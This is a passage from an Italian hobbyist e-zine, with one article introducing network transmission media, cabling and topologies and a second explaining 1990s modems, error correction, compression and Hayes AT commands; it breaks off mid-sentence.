ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

PREMESSA = io non so niente, non sono un hacker, non ho nulla da insegnare a
chi ha iniziato + di un mese fa quindi non venitemi a dire che dico
cose che sapete gia' xche' io vi avevo avvertito :PPP

Allora e' chiaro che ci sono molti libri sull'argomento che andro' a trattare
ma e' anke vero che dato che mi sto studiando queste cose, posso unire l'utile
al dilettevole parlandovi di cio' che sto imparando ;)
Allora la prima cosa che dobbiamo sapere se vogliamo farci una rete casalinga
o nell'azienda in cui lavoriamo [ se ci chiedono di farla magari :))) ] e' il
conoscere i mezzi + comuni utilizzati x trasmettere segnali da un pc a un
altro e i modi secondo i quali si devono collegare i mezzi trasmissivi.

********************___---=== MEZZI TRASMISSIVI ===---____********************

I + comuni mezzi che possiamo trovare sono essenzialmente tre:

- cavi di rame -----> [trasmissione di segnali elettrici]
- fibre ottiche ----> [trasmissione della luce]
- atmosfera --------> [trasmissione di luce e delle onde radio ultimamente
molto trattate]

Prima di tutto bisogna sapere che le trasmissioni possono essere effettuate
in modo:

- digitale
- analogico

Allora vediamo di analizzare queste due forme.

___---===TRASMISSIONE ANALOGICA===---____

Tale trasmissione e' costituita da un segnale che puo' variare in ampiezza
[ cioe' a livello di energia ] e in frequenza [ cioe' il numero di volte che
l'ampiezza cambia in un determinato intervallo di tempo ]. Da cio' si deduce
che la trasmissione analogica in un dato intervallo di tempo potra' assumere
un numero di valori infinito o quasi... Partendo da questo si deduce
facilmente che anke piccole variazione [ di volume o tono ] possono dare un
significato diverso [ e quindi errato ] ai nostri dati. Questo tipo di sistema
di comunicazione quindi risulta essere da una parte efficace e vario poiche'
ad ogni ciclo possiamo trasmettere informazioni aggiuntive, ma si sa che le
cose non vanno sempre come dovrebbero e se ci fosse anke la minima perdita di
dati tutto il msg / dato trasmesso / trasferito sarebbe illeggibile e quindi
inutile.
Questo problema della t. a. deriva principalmente dalla sensibilita' al
rumore, la quale aggiunge o toglie dati imprevisti che rischiano insomma di
mandare il tutto a puttane diciamo ;) Un esempio x comprendere cio' e'
parlare con una persona in una stanza affollata, dove cio' che dice il ns
interlocutore, se le voci sono tante, sara' o non capito o scambiato x un
altra cosa. In entrambi i casi sarebbe spontaneo dire "Che cosa scusa?" e tra
i pc cio' implica il rimandare tutti i dati dal primo all'ultimo, con,
ovviamente, la perdita di tempo che magari avremmo dedicato a un altro
trasferimento o ad un incontro non platonico con un altro essere umano del
sesso opposto...hihihi
Riporto qua sotto un paio di esempi di t.a. andata a buon fine e un esempio
di segnale disturbato

ESEMPIO DI TRASMISSIONE ANALOGICA ³ STESSO ESEMPIO DI TRASMISSIONE
ANDATA A BUON FINE ³ ANALOGICA CON INTERFERENZE
^ ³ ^
| /-\ ³ |
| | | ³ |
/-\ | | | ³ |
| | | | ³ /-\ / - \
| | /-\ | | ³ \ / \ /
ÍÍÍÍ|ÍÍÍ|ÍÍÍ|ÍÍ|ÍÍÍ|ÍÍÍ|ÍÍÍÍÍÍÍÍÍÍͳÍÍÍ\ÍÍÍÍ|ÍÍÍ| e cosi' via
| | \_/ | | ³ / /
\_/ \_/ ³ | /
³ |/

Dato che so gia' che non avrete capito (causa mia capacita' di rendere
difficile anke la peggior cazzata eheheh) cmq, cerchero' di spiegare come
l'ho capito io. Pensate di dare un numero ad ogni tonalita' di voce. Cio' di
certo permettera' di avere un sacco di numeri. Ma sara' anke vero che se noi
(pc1) abbiamo un piccolo calo di voce il sistema che registra la nostra voce
(pc2) avra 2 possibili conseguenze: o riconoscera' il tono come un altro
(scambiera' i toni) oppure non riuscira' a riconoscerlo come tale e quindi
pensera' di non aver sentito nessun tono. Spero di essere stato + chiaro con
questo esempio xche' nella definizione di t.a. qualke beta tester delle e-zine
mi aveva detto che avevo parlato un po' in arabo eheheheh ovviamente NON in
base a mie esperienze ma in base a + fonti (libri, riviste, bliblioteca).

___---===TRASMISSIONE DIGITALE===---____

A differenza della trasmissione analogica [e FORSE proprio x risolvere i
problemi derivanti dalla stessa] e' stato creato un altra forma di
trasmissione detta analogica che comunica col sistema binario (ebbene si' i
famosi 0 e 1!!!). In un circuito elettrico di solito lo zero e' rappresentato
da una tensione nulla [zero volt] e l'uno e' rappresentato da una tensione di
cinque volt. Si nota subito quindi che il sistema analogico ha un insieme
infinito di possibili valori a differenza del sistema digitale che ha solo
lo 0 e l'1, con i quali crea una serie di schemi precisi [es: A --> 01000001].
Ogni singolo impulso digitale e' detto bit, e 8 bit fanno un byte (ma dai!!!).
Il byte risulta essere quindi la unita' base della trasmissione digitale e [in
teoria] ogni byte rappresenta una info completa quale una lettera o un numero.
Premesso che la distanza tra i due valori possibili e' ampia ne deriva che
anke se il segnale e' disturbato si riuscira' cmq a distinguere se il valore
e' 0 o 1 a differenza di prima dove ad ogni ampiezza corrispondeva un valore
diverso. Alla fine di tutta sta botta de cultura quindi direte "cavolo ma
allora xche' si usa l'analogica???" e la risposta sara' che se e' vero che
con la trasmissione digitale siete sicuri e' anke vero che se dovete mandare
la lettera A a un altro pc dovrete comunicare ben 8 bit [quindi otto segnali]
mentre con la trasmissione analogica basterebbe comunicare un singolo valore
corrispondete alla lettera A :)
Un altro vantaggio del formato digitale e' che i dati trasferiti sono
interpretati correttamente da entrambi i computer xche' gia' in forma binaria,
mentre con la trasmissione analogica i dati prima di essere mandati devono
essere convertiti da digitali a analogici e una volta arrivati viceversa (da
a. a d.), x mezzo di un apposito dispositivo conosciuto ai piu' con il nome
di... modem :-)))

Ora diamo un'okkiata ai vari mezzi trasmissivi i quali sono principalmente:

- il CAVO COASSIALE
- il DOPPINO TELEFONICO
- le FIBRE OTTICHE
- l'ETERE

___---===CAVO COASSIALE===---____

Il cavo coassiale e' ben protetto fisicamente data la sua guaina esterna molto
resistente che impedisce il danneggiamento del cavo.
E' costituito principalmente da un filo di rame avvolto da materiale
dielettrico (cioe' isolante, cattivo conduttore di elettricita'), ricoperto da
un cavo intrecciato protetto da uno strato di plastica. Si chiama coassiale
xche' il cavo usa due conduttori (quello di rame e quello di protezione) che
stanno sullo stesso asse. I connettori dei cavi coassiali sono chiamati
connettori BNC (Bayonet Neill-Concelman). Sono facili da collegare e
scollegare.
Lo schema di una rete coassiale e' detto "topologia a dorsale / bus", poiche'
un singolo cavo si estende da sistema a sistema, collegando le diverse
macchine in successione,le quali si collegano a loro volta al circuito con un
connettore BNC a forma di T. Tale connettore e' dotato di due accoppiatori
dedicati alla connessione fisica del cavo e usa un 3ø accoppiatore x
collegarsi alla scheda di rete (NIC = Network Interface Card) che ovviamente
deve essere presente nel pc :P.
I due capi del circuito terminano con un dispositivo detto terminatore, che
devia a terra tutti i segnali elettrici assicurando che nessuno possa essere
riflesso lungo il cavo. I terminatori possono essere di 2 tipi, normali o
provvisti di una piccola catena metallica. Il secondo puo' essere usato a una
sola delle estremita' del circuito. La catena metallica serve x picchiare chi
vi sta sui cog...ops scusate credevo di essere nella sezione anarchy eheheh...
cmq dicevamo che questa catena serve da messa a terra e assicura che la
tensione del cavo intrecciato rimanga sempre a zero volt e le interferenze
RFI (radiointerferenza che ha luogo quando due segnali incidenti hanno
proprieta' simili) vengano scaricate.
Vediamo (in breve) vantaggi e svantaggi dell'uso dei cavi coassiali nella
propria rete di casa e / o azienda:

VANTAGGI
- resistenza alle interferenze (resiste a EMI e RFI)
- protezione fisica (+ resistente dei doppini telefonici)
- basso costo (nei negozi di elettronica poche centinaia di lire al metro)

SVANTAGGI
- topologia rigida (i cavi non sono flessibili come i doppini)
- scalabilita' limitata (se si aggiunge una macchina bisogna bloccare la rete)
- bassa tolleranza agli errori (un guasto puo' bloccare l'intero segmento)
- scarsa larghezza di banda (supp. tecnologia Ethernet a 10Mbps; no 100Mbps)

___---===DOPPINO TELEFONICO===---____

Usato x trasmettere dati e voce il doppino telefonico ha avuto molto successo
perche' e' supportato da quasi tutte le topologie di LAN (Local Area Network).
Il d.t. e' composto da 4 coppie di conduttori. Il cavo puo' essere singolo o
intrecciato. Ogni conduttore e' rivestito di uno strato plastico colorato
cosi' da facilitarne l'individuazione. Le reti che fanno uso di doppini
telefonici di solito hanno una topologia a stella. In questo tipo di rete
tutte le varie macchine vengono cllegate ad un HUB (o concentratore), cioe'
un dispositivo centrale. Collegando a loro volta i diversi HUB si possono
creare reti + grandi con il grande vantaggio che se vi e' un guasto al massimo
influenza la propria sotto-rete senza mettere in crisi l'intero sistema di
reti. Altra cosa positiva e' il fatto che un utente non e' in grado di
bloccare l'intera rete se si disconnette dal circuito (cosa che succedeva con
i cavi coassiali). Un altra cosa che secondo me e' uno dei maggiori vantaggi
del d.t. e' il fatto che questo supporta le comunicazioni FULL DUPLEX
consentendo cosi di passare da una capacita' di elaborare da 10 Mbps a 20 Mbps
(esempio). Cosa e' sto full duplex direte voi?

PS: le trasmissioni possono avvenire in SIMPLEX (come le radio, cioe' il
trasferimento dei dati [ voce / musica ] avviene solo in una direzione)
oppure in HALF DUPLEX E FULL DUPLEX che tentero' di spiegare qui sotto.

Allora se lo sapete non leggete :P altrimenti sappiate che di solito le
trasmissioni nelle reti tra computer avvengono in HALF DUPLEX cioe' proprio
come i CB (City Band) se un computer/persona trasmette/parla allora l'altro
computer/persona puo' solo ascoltare, e se tenta di trasmettere/parlare a sua
volta i due segnali si interferiscono. Il FULL DUPLEX quindi assomiglia a una
telefonata dove i due interlocutori possono parlare entrambi senza problemi.
Ovviamente il full duplex non e' possibile solo con i doppini telefonici, ma
essi sono gia predisposti x esso mentre x altri cavi x supportare il full
duplex bisogna stendere un ulteriore cavo. Ora faccio un elenchetto di
vantaggi e svantaggi x i doppini telefonici:

VANTAGGI
- largamente utilizzati (sono il mezzo trasmissivo + popolare)
- facilmente installabili (la sua flessibilita' consente di stenderlo ovunque)
- ottima tolleranza agli errori (se c'e' un guasto non va a puttane la rete :)
- notevole larghezza di banda (unico mezzo di trasmissione a supportare half
duplex e full duplex senza l'aggiunta di un altro cavo)
- costano poco (i + economici sul mercato, anke se i cavi CAT 5 costano di +)

SVANTAGGI
- lunghezza (puo' essere lungo max 100 metri)
- bassa resistenza alle interferenze (causate da luci fluorescenti,
trasformatori, dispositivi dotati di motore elettrico e dispositivi che
trasmettono segnali, come ad esempio le antenne radio)

___---===FIBRE OTTICHE===---____

Il cavo in fibra ottica e' costituito da un filo cilindrico di vetro del
diametro di 62,5 micron, coperto da una placcatura metallica che protegge il
nucleo centrale e riflette la luce all'interno del conduttore. Il tutto e'
circondato da uno strato di kevlar (e' lo stesso materiale usato per fare i
giubbotti antiproiettili!!!) e da uno strato di PVC. Diversamente dai cavi
appena trattati le fibre ottiche usano la luce x trasmettere i dati. La
sorgente della radiazione luminosa e' in genere un diodo (LED = Light Emitting
Diode) che produce un segnale visibile nel campo dell'infrarosso. Dall'altra
parte vi e' un altro diodo che riceve l'impulso luminoso. La trasmissione puo'
essere di due tipi, a modalita' singola o a modalita' multipla. A modalita'
singola la fibra e' composta da un solo LED che tramette un segnale luminoso
a una sola frequenza, trasmessa in una serie di impulsi (emula il formato
digitale). Il vantaggio e' la velocita' e lo svantaggio il fatto che
l'hardware costi parecchio e che l'installazione sia tosta (se non sbaglio).
A modalita' multipla invece usa diverse frequenze luminose. Il vantaggio e'
il fatto che l'hardware non e' cosi' costoso e lo svantaggio e' il fatto che
si puo' disperdere il segnale. Entrambi le fibre ottiche sono immuni a
interferenze EMI e RFI e anke le luci fluorescenti e i trasformatori non
provocano alcun problema. La fibra ottica
raggiunge senza problemi capacita' di trasferimento pari a 655 Mbps con ATM e
1 Gbps con le nuove specifiche Ethernet (azz!!!). Una pecca pero' di questi
cavi e' il fatto di potere comunicare in un unica direzione. Proprio x questo
motivo i cavi di questo tipo sono utilizzati in coppia, dove ciascun cavo
trasmette in una sola direzione. Le connessione sono di solito etichettate
come Tx (x la trasmissione) e RX( x la ricezione). La topologia delle rete
che fa uso di fibre ottiche puo' essere a stella o a dorsale. I connettori
piu' comuni sono i connettori SMA ed FDDI. La lunghezza massima del cavo e'
di 2 km.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ATTENZIONE = okkio che se si avvicinano gli occhi al raggio trasmesso vi e'
pericolo di cecita' permanente quindi assicuratevi prima di guardare che il
cavo sia scollegato dalla rete!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

VANTAGGI
- resistenza alle interferenze (EMI e RFI nun vi fanno na sega!)
- alto livello di sicurezza (e' impossibile intercettare i dati trasmessi
lungo il cavo senza rompere il circuito)
- grande larghezza di banda (655 Mbps con ATM e 1 Gbps con specifiche
Ethernet)

SVANTAGGI
- difficolta' di installazione (e' difficile allacciare i cavi ai connettori)
- costo (un metro di cavo sono quasi 100.000 lire quindi pensateci prima di
mettere le fibre ottiche nella vostra azienda con 400 uffici!!! hihihi)

___---=== ETERE ===---____

Se nei casi appena sopra visti c'era semre un limite, un confine fisico,
nell'etere non vi sono confini / limiti, quindi una trasmissione non confinata
si puo' muovere ovunque. Vediamo adesso i tipi di segnali che si possono
trasmettere nell'etere:

- TRASMISSIONE LASER
- TRASMISSIONI TERRESTRI
- TRASMISSIONI SPAZIALI

Ora 5/6 righe su ogni voce di questo elenco:

___---=== TRASMISSIONE LASER ===---____

E' una trasmissione che fa uso della luce laser. Si basa su circuiti simili a
quelli creati mediante le fibre ottiche, ma qui il mezzo trasmissivo non e' il
vetro. I vantaggi sono il non richiedere cablaggio tra i sistemi e le grandi
larghezze di banda raggiungibili [ 10 Mbps in + ], mentre gli svantaggi sono
il poter coprire SOLO le corte distanze, l'essere sensibili alle condizioni
atmosferike e il fatto che l'allineamento dei dispositivi richiede molta cura.

___---=== TRASMISSIONE TERRESTRE ===---____

Le trasmissioni terrestri sono essenzialmente segnali radio generati a terra.
Le trasmissioni televisive e le stazioni radiofoniche sono esempi di t.t. I
vantaggi sono il fatto di essere meno sensibile alle condizioni atmosferiche e
l'avere una portata maggiore delle trasmissioni laser (circa 100 km) mentre lo
svantaggio principale e' il non avere un elevato livello di sicurezza (il
segnale puo' essere facilmente intercettato). Vengono usate soprattutto x le
MAN cioe' le Metropolitan Area Network.

___---=== TRASMISSIONE SPAZIALI ===---____

In questo tipo di trasmissione i segnali generati da una stazione terrestre
vengono fatti rimbalzare su di uno o + satelliti che orbitano intorno al
pianeta.
I vantaggi sono la distanza che puo' raggiungere il segnale trasmesso, il
fatto di non essere x niente influenzato dalle condizioni ambientali e
l'essere in grado di supportare una rete portatile. L'unico svantaggio (che
da solo xo' e' sempre una bella mazzata!!!) e' l'enorme costo che si deve
sostenere.

*********************___---=== TOPOLOGIE DI RETE ===---____*******************

PREMESSA = si sconsiglia la visione dei seguenti disegnini a chi e' malato di
cuore e non si accettano mail con il msg "i tuoi ascii fanno skifo"
perche' lo so gia', capito??? okkey ^_^

Adesso che conoscete i vari mezzi trasmissivi diamo un okkiata alle principali
topologie fisiche, cioe' i modi secondo i quali si devono collegare i ns amati
PicCi. I 3 tipi di topologia fisica principali sono:

DORSALE = detta anke bus, e' la configurazione comunemente adottata nella
connessione mediante cavo coassiale. Tutti i sistemi sono collegati
alla dorsale mediante connettori a T attraverso i quali scorre un
singolo cavo. Usata x collegare 2 o + sistemi.

ÉÍÍÍÍÍ» ÉÍÍÍÍÍ» ÉÍÍÍÍÍ» ÉÍÍÍÍÍ»
º PC1 º º PC2 º º PC3 º º PC4 º
ÈÍËËËͼ ÈÍËËËͼ ÈÍËËËͼ ÈÍËËËͼ
Èμ Èμ Èμ Èμ
ÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍ
º
esempio º
di º
topologia º
a ÉÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍ»
dorsale º SERVER º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

STELLA = usata x le connessioni mediante doppino telefonico. Ogni sistema e'
collegato a un dispositivo centrale, un concentratore o un
commutatore. Ogni cavo collega solo 2 stazioni fisicamente.

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» esempio di
ÉÍÍÍÍÍÍÍÍÍÍÍÍ͹ CONCENTRATORE ÌÍÍÍÍÍÍÍÍÍ» topologia
º ÈÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍͼ º a stella
º º º
º º º
ÉÍÍÊÍÍ» ÉÍÍÊÍÍ» ÉÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍ»
º PC1 º º PC2 º º SERVER º
ÈÍÍÍÍͼ ÈÍÍÍÍͼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ANELLO = adottata sulle connesioni basate sulle fibre ottiche. Ogni porta
output e' collegata con la porat input dela stazione successiva;
l'ultima stazione si collega con la prima, chiudendo il percorso.

ÉÍÍÍÍÍ» ÉÍÍÍÍÍ»
º PC1 º RX <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ TX º PC4 º
ÈÍÍÍÍͼ ÈÍÍÍÍͼ
TX esempio RX
| di / \
| topologia |
\ / ad |
RX anello TX
ÉÍÍÍÍÍ» ÉÍÍÍÍÍ»
º PC2 º TX ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> RX º PC3 º
ÈÍÍÍÍͼ ÈÍÍÍÍͼ

/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\

INIZIO PICCOLA NOTA SULLO STANDARD 568

Lo standard 568 di ANSI/EIA (America National Standards Institute / Electronic
Industries Association) definsce diverse categorie (indicate dalla sigla CAT)
che specificano le velocita' di traferimento dei dati supportati da un tipo
particolare di cavo. Tengono conto sia del materiale che del tipo di
connettori utilizzati. Le categorie sono:

CAT 1 e 2 ----> voce e dati a bassa velocita' (connessioni modem)
CAT 3 --------> voce e dati fino a 10 Mbps
CAT 4 --------> voce e dati fino a 16 Mbps
CAT 5 --------> voce e dati fino a 100 Mbps

Le piu' usate sono CAT 3 e CAT 5, e probabilmente CAT 5 verra' ( se non lo e'
gia') incorporata nella specifica Ethernet 1 Gbps.

FINE PICCOLA NOTA SULLO STANDARD 568

/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\/|\

Questo articolo (se tale puo' essere considerato) e' stato fatto da N0bodY88
con un grande (e ci tengo a puntualizzare quel grande!) aiuto di vari libri,
riviste e pensieri suoi + che strani, e lo dedica a ZeroCool il suo mito
personale!

Byez a tutti N0bodY88

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
NOTA BY N0bodY88 = questo articolo lo pubblichiamo dopo aver avuto l'ok del
SUL PROSSIMO Ghost Computer Club. Ho deciso di metterlo sulla e-zine
ARTICOLO perche' l'ho letto sulla hp del GCC e nonstante non sia
CHE recente (e' del 96 infatti) e' una vera e propria guida
PARLERA' ai modem e quindi, dopo aver chiesto se potevo metterlo
DI sulla e-zine, ho ricevuto l'assenso da Sergio Ferrara
MODEM che ringrazio qui pubblicamente x la sua disponibilita'.
Il sito del Ghost Computer Club (dove troverete questo ed
altri articoli moooolto interessanti) e' il seguente:
http://www.ghostcomputerclub.it
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

=====================================================================
La scatola magica
=====================================================================

La scatola magica

Il modem per molti e' ... il passaporto per le stelle; tramite esso infatti e'
possibile per tutti avere il mondo a portata di click! In attesa del
definitivo trionfo della tecnologia ISDN, prendiamo dunque in esame questo
fondamentale dispositivo!

Strutturalmente possiamo considerarlo come un telefono a byte; ma se ci
possiamo permettere che una voce sia gracchiante, non possiamo assolutamente
consentire che i dati arrivino rovinati (ad esempio i programmi che
scarichiamo...), perche' dopo non funzionerebbero.

Ma come funziona un modem? Cerchiamo di capirlo.

Come si controlla il modem

Protocolli e comandi AT

Le interfacce grafiche e degli ambienti operativi multitasking hanno
indubbiamente facilitato moltissimo la gestione del modem; ora e' tutto molto
piu' facile; fino a circa 10 anni fa infatti, erano due i grossissimi limiti;
la gestione del modem era molto complicata e i modem costavano uno sproposito
(anche 20 volte il costo odierno); ora in tutti e due casi tutto e' migliorato;
e' possibile acquistare ottimi modem al prezzo di circa 250000 lire e anche
meno. Non e' piu' necessario poi conoscere nel dettaglio i vari tipi di comandi
che occorre impartire per eseguire, per esempio, una connessione. Lo si puo'
infatti direttamente impostare tramite funzionali finestre di dialogo e
opzioni di configurazione dei programmi di comunicazione e del Pannello di
Controllo, adoperando il mouse, in modo quindi molto piu' intuitivo. Inutile
comunque ribadire come conoscere almeno i rudimenti faciliti sempre le cose,
specie in condizioni di "emergenza". È importante conoscere innanzitutto
quali sono le caratteristiche che influenzano il comportamento del modem
quando e' connesso alla linea telefonica, e quali tipi di protocolli e
specifiche vengono adoperati per migliorare la qualita' di trasmissione.

Velocita' e caratteristiche della linea

La maggior parte dei modem adopera al massimo due portanti per le
comunicazioni full-duplex. Queste portanti sono di solito modulate in modo
da adoperare tutta larghezza di banda disponibile. Molto spesso pero' la
qualita' delle linee telefoniche non e' sufficiente a garantire comunicazioni
affidabili su tutta la larghezza di banda che il modem si aspetterebbe. In
questi casi, la maggior parte dei modem veloci ha la capacita' di ripiegare
su velocita' inferiori (fallback), negoziando con il sistema remoto la miglior
velocita' possibile in condizioni di sicurezza.

Cio' avviene automaticamente, durante la connessione. Considerando la qualita'
delle linee telefoniche, quasi sempre una connessione V.34 (28.8000 bps) si
riduce nel corso del collegamento a 26.400 bps. Ancora piu' difficile e'
stabilire una connessione a 33.600 bps; piu' spesso un modem di questo tipo
riesce a garantire una buona qualita' di trasmissione a 28800 o a 31200.
Attualmente dunque, almeno in Italia, le linee telefoniche presenti non
consentono di sfruttare al 100% i dispositivi a 33600 bps, rendendoli se non
inutili, per lo meno sotto utilizzati; il prezzo e' pero' in costante discesa,
e dunque non mi preoccuperei del dilemma se acquistare un 33600 o un 28800
(ho volutamente trascurato i 14400), ripiegando comunque su un 33600.

Il controllo d’errore

Dal momento che tutti i modem ad altra velocita' operano molto vicino ai limiti
fisici del canale telefonico, essi sono per natura piu' soggetti agli errori di
trasmissione. Per far fronte a questo problema quasi tutti i modem ad alta
velocita' sono provvisti di propri metodi di controllo d’errore che funzionano
come i protocolli di comunicazione, raggruppando i byte in blocchi e inviando
ciclicamente byte di controllo dell’informazione. I metodi di controllo
d'errore differiscono ai protocolli di comunicazione software in quanto sono
implementati nel modem direttamente su hardware. I protocolli di controllo
d’errore standard sono Mnp3, il suo successore Mnp4 ed il piu' moderno V.42
compatibile anche con Mnp4.

La compressione dati

Sebbene non esista un modo per aumentare il numero di bit che possono
fisicamente attraversare una linea telefonica, l’abilita' del modem di gestire
informazioni puo' essere aumentata comprimendo, tramite un particolare
algoritmo, i dati che devono essere trasferiti attraverso la linea telefonica.
In pratica vengono eliminate quelle parti di informazioni non indispensabili
comprimendo invece quelle essenziali. Il modem presente su remoto dovra'
compiere la procedura inversa di decodifica. L’efficacia della compressione
varia a seconda del tipo di dato che deve essere trasmesso. Uno dei
principali schemi di compressione dei dati punta a ridurre la dimensione dei
dati ripetitivi. Ad esempio, dieci byte consecutivi di valore uguale
potrebbero essere codificati in due byte, uno contenente il valore e l’altro
indicante il numero di ripetizione. Altri tipi di compressione possono
eliminare il bit di start, di stop e di parita'. Voglio comunque ribadire che
la compressione e' inutile quando non dannosa se si trasmettono elementi
binari (file) gia' compressi, tipo gli archivi Zip, Arj, eccetera. Le tecniche
di compressione dei dati piu' conosciute rispondono al nome di Mnp5 e V.42 bis,
quest’ultimo piu' recente e compatibile verso il basso nei confronti di Mnp5.

I comandi AT

Anche se ormai praticamente sono i programmi ad impartire i comandi
automaticamente, vediamo rapidamente cosa sono i comandi AT.

La maggior parte dei modem operano alternativamente in due modalita'. quella
detta "di comando" permette alla periferica di ricevere le istruzioni
inviategli dal computer, mentre in modalita' di comunicazione opera in modo
trasparente, convertendo semplicemente i dati. Si ottiene il passaggio da una
modalita' all’altra inviando al modem dei caratteri di controllo. I caratteri
possono essere ricevuti ed elaborati soltanto in modalita' di comando poiche'
in modalita' di comunicazione essi verrebbero interpretati come dati.

I piu' comuni comandi accettati dal modem sono quelli definiti AT Hayes.
Quest’ultima e' una delle storiche case produttrici di modem (fondata da
David Hayes). Pur non essendosi trasformato a tutti gli effetti in uno
standard, il set di comandi Hayes viene in realta' piu' o meno implementato
da tutti i modem in commercio. Il set di comandi Hayes comprende parecchie
dozzine di istruzioni per il modem che, per la maggior parte, iniziano con
una sequenza di due caratteri chiamati "di attenzione" (attention characters,
AT). Questi due caratteri di attenzione sono seguiti dai caratteri di comando
veri e propri.

La maggior parte dei comandi AT fa seguire ai caratteri di attenzione una
lettera che specifica la famiglia del comando e un altro carattere che ne
indica la natura. Per esempio, H sta per Hook (gancio) ed e' quindi collegato
alle operazioni di sgancio e aggancio della linea telefonica (ATH0 interrompe,
per esempio, la comunicazione in corso). ATH1 al contrario permette di
agganciare la linea, iniziando cosi' la comunicazione. Successivamente al
comando di attenzione (AT) si possono combinare numerosi comandi e parametri
su una stessa linea. Per esempio, per chiamare un determinato numero
telefonico su una linea a toni (la maggior parte di quelle attualmente
presenti su( territorio italiano) si dovra' digitare: atdt88888

Nel dettaglio, AT e' il segnale di attenzione, D (dial) e' il comando di
composizione del numero, T (tone) indica al modem di adoperare, in fase di
chiamata, il normale sistema a toni per comporre il numero, mentre 88888 e'
il numero telefonico da comporre. Tutti i comandi AT devono essere seguiti
dal carattere Carriage Return, cioe' devono essere confermati battendo il
tasto Invio. Quando il modem riceve questo carattere lo interpreta come
segnale di fine comando da parte del computer e inizia a elaborarlo Un
comando del tutto speciale e' quello che consente al modem di rispondere ad
una particolare sollecitazione anche quando opera in modalita' di
comunicazione (cioe' quando e' connesso}; questo comando ordina al modem di
interrompere la comunicazione di tornare in modalita' di comando. Un comando
di questo tipo deve consistere una sequenza di caratteri che non comparira'
mai nei dati che si suppone il modem debba spedire lungo la linea telefonica.
Sebbene sia impossibile garantire che una data sequenza di comandi non
apparira' mai nel normale flusso di una comunicazione, questo comando nel set
Hayes e' specificamente progettato perche' una sua apparizione risulti
statisticamente improbabile. Questo comando consiste semplicemente in una
stringa di tre segni piu' (+++). Affinche' il comando sia ben distinguibile
dai dati da trasmettere, il set di comandi Hayes stabilisce inoltre che i
tre segni piu' siano separati da qualunque altro carattere tramite pausa di
almeno un secondo.

I comandi AT estesi e i registri

Quando fu sviluppato il set di comandi Hayes, i modem disponevano di un
limitato numero di funzionalita'. Nel tempo, insieme ai modem, si sono evoluti
anche i relativi comandi di controllo. Queste nuove varianti al set di comandi
AT standard viene definito esteso. Questo tipo di nuove funzionalita' include
un tal numero di nuove funzioni da rendere inelegante e poco chiara
l’espressione del comando. Dopo tutto sono solo 26 le lettere dell’alfabeto
che potrebbero essere utilizzate in comandi di una sola lettera. Hayes ha
percio' aggiunto all’interno dei suoi modem un registro speciale, detto anche
area di memoria, chiamato registro S, che consente di configurare ulteriori
parametri operativi del modem. I comandi inviati a un modem Hayes compatibile
sono di nome e di fatto unidirezionali. Il set di comandi Hayes comprende
pero' una serie di codici di risposta che svolgono questa funzione di
informazione di ritorno nel formato di codici alfanumerici che consentono di
valutare la situazione in accordo con il manuale del proprio modem. Le
risposte tipiche includono Ok per indicare che il comando e' stato ricevuto e
lo si e' elaborato, Connect per indicare il tipo di connessione intervenuta e
Ringing per segnalare che il telefono all’altra capo della connessione sta
suonando.

Rilevamento automatico della velocita'

Prima che un collegamento venga instaurato, non vi e' modo di sapere a quale
velocita' sara' in grado di operare il modem remoto. I moderni modem sono in
grado di regolare automaticamente la velocita' di collegamento (handshaking)
in accordo con il modem remoto. Il codice di attenzione del set di comandi
Hayes convoglia la quantita' di dati adatta ad essere ricevuta dal modem e
adegua nel modo appropriato la velocita' di funzionamento a quella del flusso
di informazioni. Un organo dell’Unione Internazionale delle Telecomunicazione,
il CCITT (comitato consultivo internazionale per la telefonia e la telegrafia)
ha creato una sene di' standard per le comunicazioni universalmente accettati.
Molti di questi standard riguardano i modem. Per esempio, ormai tutti i
modelli risultano compatibili con lo standard CCITT che regola tra l’altro i
protocolli di connessione con riferimento alla velocita' (come V.34 per
indicare 28.800 bps, V.32 per 9.600, eccetera).

Configurazione plug & play

Con l’arrivo di Windows 95 la configurazione del modem non e' piu' un problema
(o almeno non dovrebbe esserlo). Si collega alla porta seriale del Pc, si
esegue la rilevazione automatica dell’hardware dall’opzione Modem del
Pannello di Controllo e il gioco e' fatto.

Nella maggior parte dei casi il sistema operativo dovrebbe (il condizionale e'
sempre d’obbligo) essere in grado di impostare al meglio registri e set di
comandi per consentire la connessione tramite applicativi conformi allo
standard Tapi (telephony application programming interface). Se cosi' non
